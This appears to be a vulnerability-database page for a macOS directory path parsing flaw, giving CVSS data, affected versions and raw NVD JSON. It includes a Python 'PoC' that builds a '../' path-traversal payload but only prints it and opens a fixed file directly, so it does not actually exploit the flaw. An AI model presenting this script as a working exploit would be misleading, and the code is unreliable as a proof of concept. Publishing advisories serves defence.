Security Vulnerability Report
中文
CVE-2026-20632 CVSS 5.3 MEDIUM

CVE-2026-20632

Published: 2026-03-25 01:17:04
Last Modified: 2026-03-25 20:28:23

Description

A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Tahoe 26.4. An app may be able to access sensitive user data.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
macOS Tahoe < 26.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-20632 (macOS Directory Path Parsing Issue) This script demonstrates a theoretical path traversal attempt. Note: Actual exploitation requires a vulnerable macOS environment. """ import os def simulate_path_traversal(): # Sensitive data location on macOS target = "/Users/Shared/SensitiveData.txt" # Malformed path attempting to bypass validation # In a real scenario, this would be passed to a vulnerable API payload = "./../../../../../.." + target print(f"[*] Attempting to access: {target}") print(f"[*] Using payload: {payload}") # Simulate the vulnerability check failure # Vulnerable system might normalize path incorrectly try: # This is a simulation, actual file access depends on permissions if os.path.exists(target): print("[+] Target file exists (Simulation)") with open(target, 'r') as f: print(f"[+] Content: {f.read()}") else: print("[-] File not found (Simulation)") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": simulate_path_traversal()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20632", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:04.107", "lastModified": "2026-03-25T20:28:22.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Tahoe 26.4. An app may be able to access sensitive user data."}, {"lang": "es", "value": "Se abordó un problema de análisis en el manejo de rutas de directorio con una validación de rutas mejorada. Este problema está corregido en macOS Tahoe 26.4. Una aplicación podría acceder a datos sensibles del usuario."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "6CF848CD-25D4-4371-BEF3-1ACCE47AD81F"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126794", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}